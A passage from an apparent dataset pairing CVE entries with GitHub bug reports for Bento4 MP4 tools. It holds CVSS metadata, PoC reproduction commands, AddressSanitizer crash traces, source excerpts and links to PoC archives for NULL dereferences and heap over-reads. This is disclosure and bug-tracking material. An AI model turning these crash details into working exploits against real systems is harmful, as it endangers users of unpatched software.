0x0ff3d0aeee30: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee40: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee50: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee60: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee70: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==16699==ABORTING
fuzzer@fuzzer:~/victim/exiv2/build/bin$
``` | Overflow in exiv2 | https://api.github.com/repos/Exiv2/exiv2/issues/1019/comments | 4 | 2019-10-06T09:21:25Z | 2019-10-07T22:13:16Z | https://github.com/Exiv2/exiv2/issues/1019 | 503,074,622 | 1,019 |
CVE-2019-17452 | 2019-10-10T17:15:17.780 | Bento4 1.5.1.0 has a NULL pointer dereference in AP4_DescriptorListInspector::Action in Core/Ap4Descriptor.h, related to AP4_IodsAtom::InspectFields in Core/Ap4IodsAtom.cpp, as demonstrated by mp4dump. | {
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]
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{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
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"Exploit",
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] | github.com | [
"axiomatic-systems",
"Bento4"
] | **System Details**
Commit ID: bc1b02a
Test Machine : Ubuntu 16.04.3 LTS
MP4 File Dumper - Version 1.2
(Bento4 Version 1.5.1.0)
**Command**
mp4dump --verbosity 2 POC-file
**ASAN Output**
```
ASAN:DEADLYSIGNAL
=================================================================
==12343==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000054cbf4 bp 0x7fff4ca92010 sp 0x7fff4ca91f30 T0)
#0 0x54cbf3 in AP4_DescriptorListInspector::Action(AP4_Descriptor*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:124:9
#1 0x69aa85 in AP4_List<AP4_Descriptor>::Apply(AP4_List<AP4_Descriptor>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#2 0x69aa85 in AP4_InitialObjectDescriptor::Inspect(AP4_AtomInspector&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4ObjectDescriptor.cpp:327
#3 0x586b12 in AP4_IodsAtom::InspectFields(AP4_AtomInspector&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4IodsAtom.cpp:112:9
#4 0x53e7a4 in AP4_Atom::Inspect(AP4_AtomInspector&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:263:5
#5 0x57843c in AP4_AtomListInspector::Action(AP4_Atom*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.h:532:9
#6 0x673506 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#7 0x673506 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#8 0x53e7a4 in AP4_Atom::Inspect(AP4_AtomInspector&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:263:5
#9 0x5283ae in main /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:350:9
#10 0x7efe540e182f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#11 0x451258 in _start (/home/fuzzer/victim/Bento4/mp4dump+0x451258)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:124:9 in AP4_DescriptorListInspector::Action(AP4_Descriptor*) const
==12343==ABORTING
``` | SEGV in mp4dump | https://api.github.com/repos/axiomatic-systems/Bento4/issues/434/comments | 4 | 2019-09-29T17:37:28Z | 2022-02-28T03:29:23Z | https://github.com/axiomatic-systems/Bento4/issues/434 | 499,946,487 | 434 |
CVE-2019-17453 | 2019-10-10T17:15:17.843 | Bento4 1.5.1.0 has a NULL pointer dereference in AP4_DescriptorListWriter::Action in Core/Ap4Descriptor.h, related to AP4_IodsAtom::WriteFields in Core/Ap4IodsAtom.cpp, as demonstrated by mp4encrypt or mp4compact. | {
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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"attackVector": "NETWORK",
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"baseScore": 6.5,
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/436"
},
{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
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"url": "https://github.com/axiomatic-systems/Bento4/issues/437"
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] | github.com | [
"axiomatic-systems",
"Bento4"
] | **System Details**
Commit ID: bc1b02a
Test Machine : Ubuntu 16.04.3 LTS
MP4 Compacter - Version 1.0
(Bento4 Version 1.5.1.0)
**Command**
mp4compact POC /dev/null
**ASAN Output**
```
ASAN:DEADLYSIGNAL
=================================================================
==5286==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000544c94 bp 0x7ffd515e2390 sp 0x7ffd515e22b0 T0)
#0 0x544c93 in AP4_DescriptorListWriter::Action(AP4_Descriptor*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:108:16
#1 0x698656 in AP4_List<AP4_Descriptor>::Apply(AP4_List<AP4_Descriptor>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#2 0x698656 in AP4_InitialObjectDescriptor::WriteFields(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4ObjectDescriptor.cpp:300
#3 0x5974e8 in AP4_Expandable::Write(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Expandable.cpp:105:5
#4 0x585e34 in AP4_IodsAtom::WriteFields(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4IodsAtom.cpp:99:36
#5 0x536b11 in AP4_Atom::Write(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:229:14
#6 0x53c322 in AP4_AtomListWriter::Action(AP4_Atom*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:753:5
#7 0x54dbfe in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#8 0x54dbfe in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Processor.cpp:644
#9 0x5262cf in main /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Compact/Mp4Compact.cpp:220:14
#10 0x7f91a991a82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#11 0x4509e8 in _start (/home/fuzzer/victim/Bento4/mp4compact+0x4509e8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:108:16 in AP4_DescriptorListWriter::Action(AP4_Descriptor*) const
==5286==ABORTING
``` | SEGV in mp4compact | https://api.github.com/repos/axiomatic-systems/Bento4/issues/436/comments | 0 | 2019-09-30T07:47:11Z | 2019-10-08T05:14:45Z | https://github.com/axiomatic-systems/Bento4/issues/436 | 500,109,805 | 436 |
CVE-2019-17453 | 2019-10-10T17:15:17.843 | Bento4 1.5.1.0 has a NULL pointer dereference in AP4_DescriptorListWriter::Action in Core/Ap4Descriptor.h, related to AP4_IodsAtom::WriteFields in Core/Ap4IodsAtom.cpp, as demonstrated by mp4encrypt or mp4compact. | {
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"source": "[email protected]",
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
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"url": "https://github.com/axiomatic-systems/Bento4/issues/436"
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"source": "[email protected]",
"tags": [
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"Exploit",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | **System Details**
Commit ID: bc1b02a
Test Machine : Ubuntu 16.04.3 LTS
MP4 Encrypter - Version 1.6
(Bento4 Version 1.5.1.0)
**Command**
mp4encrypt --method OMA-PDCF-CBC --show-progress POC /dev/null
**ASAN Output**
```
fuzzer@thickfuzzer:~/victim/Bento4$ ./mp4encrypt --method OMA-PDCF-CBC --show-progress /home/fuzzer/victim/Bento4/cmakebuild/out3/4/crashes/unique/manul-1569860171-4-14003_id5_1.mp4 /dev/null
WARNING: track ID 1 will not be encrypted
ASAN:DEADLYSIGNAL
=================================================================
==11724==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005a42f4 bp 0x7ffdb06d0290 sp 0x7ffdb06d01b0 T0)
#0 0x5a42f3 in AP4_DescriptorListWriter::Action(AP4_Descriptor*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:108:16
#1 0x6c7886 in AP4_List<AP4_Descriptor>::Apply(AP4_List<AP4_Descriptor>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#2 0x6c7886 in AP4_InitialObjectDescriptor::WriteFields(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4ObjectDescriptor.cpp:300
#3 0x5ff8a8 in AP4_Expandable::Write(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Expandable.cpp:105:5
#4 0x5ebc24 in AP4_IodsAtom::WriteFields(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4IodsAtom.cpp:99:36
#5 0x5961a1 in AP4_Atom::Write(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:229:14
#6 0x59b9b2 in AP4_AtomListWriter::Action(AP4_Atom*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:753:5
#7 0x587216 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#8 0x587216 in AP4_ContainerAtom::WriteFields(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:232
#9 0x5961a1 in AP4_Atom::Write(AP4_ByteStream&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:229:14
#10 0x59b9b2 in AP4_AtomListWriter::Action(AP4_Atom*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Atom.cpp:753:5
#11 0x5b092e in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:353:9
#12 0x5b092e in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Processor.cpp:644
#13 0x529852 in main /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Encrypt/Mp4Encrypt.cpp:654:18
#14 0x7fdf1c6f482f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#15 0x451428 in _start (/home/fuzzer/victim/Bento4/mp4encrypt+0x451428)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:108:16 in AP4_DescriptorListWriter::Action(AP4_Descriptor*) const
==11724==ABORTING
``` | SEGV in mp4encrypt | https://api.github.com/repos/axiomatic-systems/Bento4/issues/437/comments | 0 | 2019-09-30T16:31:42Z | 2019-10-08T05:14:30Z | https://github.com/axiomatic-systems/Bento4/issues/437 | 500,387,590 | 437 |
CVE-2019-17454 | 2019-10-10T17:15:17.907 | Bento4 1.5.1.0 has a NULL pointer dereference in AP4_Descriptor::GetTag in Core/Ap4Descriptor.h, related to AP4_StsdAtom::GetSampleDescription in Core/Ap4StsdAtom.cpp, as demonstrated by mp4info. | {
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"obtainAllPrivilege": false,
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"source": "[email protected]",
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"source": "[email protected]",
"type": "Primary"
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{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
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"Exploit",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | **System Details**
Commit ID: bc1b02a
Test Machine : Ubuntu 16.04.3 LTS
MP4 File Info - Version 1.3.4
(Bento4 Version 1.5.1.0)
**Command**
mp4info --show-samples POC-file
**ASAN Output**
```
ASAN:DEADLYSIGNAL
=================================================================
==17894==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x000000583949 bp 0x7ffd5359b2c0 sp 0x7ffd5359b1f0 T0)
#0 0x583948 in AP4_Descriptor::GetTag() /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:61:42
#1 0x583948 in AP4_DescriptorFinder::Test(AP4_Descriptor*) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:92
#2 0x582ce9 in AP4_List<AP4_Descriptor>::Find(AP4_List<AP4_Descriptor>::Item::Finder const&, AP4_Descriptor*&) const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4List.h:431:13
#3 0x582ce9 in AP4_EsDescriptor::GetDecoderConfigDescriptor() const /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4EsDescriptor.cpp:207
#4 0x5b7151 in AP4_MpegSampleDescription::AP4_MpegSampleDescription(unsigned int, AP4_EsdsAtom*) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4SampleDescription.cpp:583:13
#5 0x5b8df8 in AP4_MpegVideoSampleDescription::AP4_MpegVideoSampleDescription(unsigned short, unsigned short, unsigned short, char const*, AP4_EsdsAtom*) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4SampleDescription.cpp:801:5
#6 0x6b2e80 in AP4_MpegVideoSampleEntry::ToSampleDescription() /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:934:16
#7 0x5ae4b2 in AP4_StsdAtom::GetSampleDescription(unsigned int) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:181:39
#8 0x6912f5 in AP4_AtomSampleTable::GetSampleDescription(unsigned int) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4AtomSampleTable.cpp:207:25
#9 0x5868e4 in AP4_Track::GetSampleDescription(unsigned int) /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Track.cpp:445:28
#10 0x52b2a7 in ShowTrackInfo_Text(AP4_Movie&, AP4_Track&, AP4_ByteStream&, bool, bool, bool, bool) /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Info/Mp4Info.cpp:1152:46
#11 0x52b2a7 in ShowTrackInfo(AP4_Movie&, AP4_Track&, AP4_ByteStream&, bool, bool, bool, bool) /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Info/Mp4Info.cpp:1276
#12 0x52a66c in ShowTracks(AP4_Movie&, AP4_List<AP4_Track>&, AP4_ByteStream&, bool, bool, bool, bool) /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Info/Mp4Info.cpp:1386:9
#13 0x527cd8 in main /home/fuzzer/victim/Bento4/Source/C++/Apps/Mp4Info/Mp4Info.cpp:1650:13
#14 0x7f473c79282f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#15 0x4521f8 in _start (/home/fuzzer/victim/Bento4/mp4info+0x4521f8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/fuzzer/victim/Bento4/Source/C++/Core/Ap4Descriptor.h:61:42 in AP4_Descriptor::GetTag()
==17894==ABORTING
``` | SEGV in mp4info | https://api.github.com/repos/axiomatic-systems/Bento4/issues/435/comments | 2 | 2019-09-29T20:00:36Z | 2020-10-17T21:37:46Z | https://github.com/axiomatic-systems/Bento4/issues/435 | 499,963,127 | 435 |
CVE-2019-17528 | 2019-10-12T20:15:11.487 | An issue was discovered in Bento4 1.5.1.0. There is a SEGV in the function AP4_TfhdAtom::SetDefaultSampleSize at Core/Ap4TfhdAtom.h when called from AP4_Processor::ProcessFragments in Core/Ap4Processor.cpp. | {
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},
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"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/TeamSeri0us/pocs/tree/master/bento4"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/432"
}
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | # bento4
## version
bento4 1.5.1.0
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## AP4_TfhdAtom::[email protected]___SEGV_UNKNOW
### description
An issue was discovered in bento4 1.5.1.0, There is a/an SEGV_UNKNOW in function AP4_TfhdAtom::SetDefaultSampleSize at Ap4TfhdAtom.h-80
### commandline
mp4edit @@ a.mp4
### source
```c
76 void SetSampleDescriptionIndex(AP4_UI32 indx) { m_SampleDescriptionIndex = indx; }
77 AP4_UI32 GetDefaultSampleDuration() { return m_DefaultSampleDuration; }
78 void SetDefaultSampleDuration(AP4_UI32 duration) { m_DefaultSampleDuration = duration; }
79 AP4_UI32 GetDefaultSampleSize() { return m_DefaultSampleSize; }
80 void SetDefaultSampleSize(AP4_UI32 size) { m_DefaultSampleSize = size; }
81 AP4_UI32 GetDefaultSampleFlags() { return m_DefaultSampleFlags; }
82 void SetDefaultSampleFlags(AP4_UI32 flags) { m_DefaultSampleFlags = flags; }
83
84 void UpdateFlags(AP4_UI32 flags);
85
```
### bug report
```txt
ASAN:SIGSEGV
=================================================================
==16948==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x000000498774 bp 0x7ffdcfa6e2e0 sp 0x7ffdcfa6df60 T0)
#0 0x498773 in AP4_TfhdAtom::SetDefaultSampleSize(unsigned int) /src/bento4/Source/C++/Core/Ap4TfhdAtom.h:80
#1 0x498773 in AP4_Processor::ProcessFragments(AP4_MoovAtom*, AP4_List<AP4_AtomLocator>&, AP4_ContainerAtom*, AP4_SidxAtom*, unsigned long long, AP4_ByteStream&, AP4_ByteStream&) /src/bento4/Source/C++/Core/Ap4Processor.cpp:331
#2 0x4a68d0 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) /src/bento4/Source/C++/Core/Ap4Processor.cpp:711
#3 0x43f413 in main /src/bento4/Source/C++/Apps/Mp4Edit/Mp4Edit.cpp:451
#4 0x7fc7db40082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x442b88 in _start (/src/aflbuild/installed/bin/mp4edit+0x442b88)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/bento4/Source/C++/Core/Ap4TfhdAtom.h:80 AP4_TfhdAtom::SetDefaultSampleSize(unsigned int)
==16948==ABORTING
```
### others
from fuzz project pwd-bento4-mp4edit-00
crash name pwd-bento4-mp4edit-00-00000631-20190828.mp4
Auto-generated by pyspider at 2019-08-28 22:40:24
please send email to [email protected] if you have any questions.
[poc3.tar.gz](https://github.com/axiomatic-systems/Bento4/files/3640457/poc3.tar.gz)
| SEGV_UNKNOW was discovered in AP4_TfhdAtom::SetDefaultSampleSize in Ap4TfhdAtom.h- | https://api.github.com/repos/axiomatic-systems/Bento4/issues/432/comments | 0 | 2019-09-23T02:21:12Z | 2019-10-08T05:15:45Z | https://github.com/axiomatic-systems/Bento4/issues/432 | 496,867,693 | 432 |
CVE-2019-17529 | 2019-10-12T20:15:11.567 | An issue was discovered in Bento4 1.5.1.0. There is a heap-based buffer over-read in AP4_CencSampleEncryption::DoInspectFields in Core/Ap4CommonEncryption.cpp when called from AP4_Atom::Inspect in Core/Ap4Atom.cpp. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
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"Third Party Advisory"
],
"url": "https://github.com/TeamSeri0us/pocs/tree/master/bento4"
},
{
"source": "[email protected]",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | # bento4
## version
bento4 1.5.1.0
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## AP4_CencSampleEncryption::[email protected]___heap-buffer-overflow
### description
An issue was discovered in bento4 1.5.1.0, There is a/an heap-buffer-overflow in function AP4_CencSampleEncryption::DoInspectFields at Ap4CommonEncryption.cpp-3437
### commandline
mp4dump --verbosity 2 @@
### source
```c
3433 info += 2;
3434 for (unsigned int j=0; j<num_entries; j++) {
3435 unsigned int bocd = AP4_BytesToUInt16BE(info);
3436 AP4_FormatString(header, sizeof(header), "sub-entry %04d.%d bytes of clear data", i, j);
3437 inspector.AddField(header, bocd);
3438 unsigned int boed = AP4_BytesToUInt32BE(info+2);
3439 AP4_FormatString(header, sizeof(header), "sub-entry %04d.%d bytes of encrypted data", i, j);
3440 inspector.AddField(header, boed);
3441 info += 6;
3442 }
```
### bug report
```txt
=================================================================
==20093==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61300000dfee at pc 0x00000060256b bp 0x7ffdb67cdb90 sp 0x7ffdb67cdb80
READ of size 4 at 0x61300000dfee thread T0
#0 0x60256a in AP4_CencSampleEncryption::DoInspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4CommonEncryption.cpp:3437
#1 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#2 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#3 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#4 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#5 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#6 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#7 0x58b005 in AP4_AtomListInspector::Action(AP4_Atom*) const /src/bento4/Source/C++/Core/Ap4Atom.h:530
#8 0x58b005 in AP4_List<AP4_Atom>::Apply(AP4_List<AP4_Atom>::Item::Operator const&) const /src/bento4/Source/C++/Core/Ap4List.h:353
#9 0x58b005 in AP4_ContainerAtom::InspectChildren(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:220
#10 0x58b005 in AP4_ContainerAtom::InspectFields(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4ContainerAtom.cpp:210
#11 0x4d3dae in AP4_Atom::Inspect(AP4_AtomInspector&) /src/bento4/Source/C++/Core/Ap4Atom.cpp:263
#12 0x43f769 in main /src/bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:350
#13 0x7f7d03b2b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x4434e8 in _start (/src/aflbuild/installed/bin/mp4dump+0x4434e8)
0x61300000dfee is located 0 bytes to the right of 366-byte region [0x61300000de80,0x61300000dfee)
allocated by thread T0 here:
#0 0x7f7d045066b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x536f2f in AP4_DataBuffer::ReallocateBuffer(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x536f2f in AP4_DataBuffer::SetDataSize(unsigned int) /src/bento4/Source/C++/Core/Ap4DataBuffer.cpp:151
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/bento4/Source/C++/Core/Ap4CommonEncryption.cpp:3437 AP4_CencSampleEncryption::DoInspectFields(AP4_AtomInspector&)
Shadow bytes around the buggy address:
0x0c267fff9ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff9bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff9bc0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c267fff9bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff9be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff9bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00[06]fa fa
0x0c267fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==20093==ABORTING
```
### others
from fuzz project pwd-bento4-mp4dump-02
crash name pwd-bento4-mp4dump-02-00000034-20190811.mp4
Auto-generated by pyspider at 2019-08-11 19:37:41
please send email to [email protected] if you have any questions.
[poc1.tar.gz](https://github.com/axiomatic-systems/Bento4/files/3640451/poc1.tar.gz)
| A heap-buffer-overflow was discovered in AP4_CencSampleEncryption::DoInspectFields in Ap4CommonEncryption.cpp | https://api.github.com/repos/axiomatic-systems/Bento4/issues/430/comments | 0 | 2019-09-23T02:16:44Z | 2019-10-08T05:16:10Z | https://github.com/axiomatic-systems/Bento4/issues/430 | 496,866,994 | 430 |
CVE-2019-17530 | 2019-10-12T20:15:11.643 | An issue was discovered in Bento4 1.5.1.0. There is a heap-based buffer over-read in AP4_PrintInspector::AddField in Core/Ap4Atom.cpp when called from AP4_CencSampleEncryption::DoInspectFields in Core/Ap4CommonEncryption.cpp, when called from AP4_Atom::Inspect in Core/Ap4Atom.cpp. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
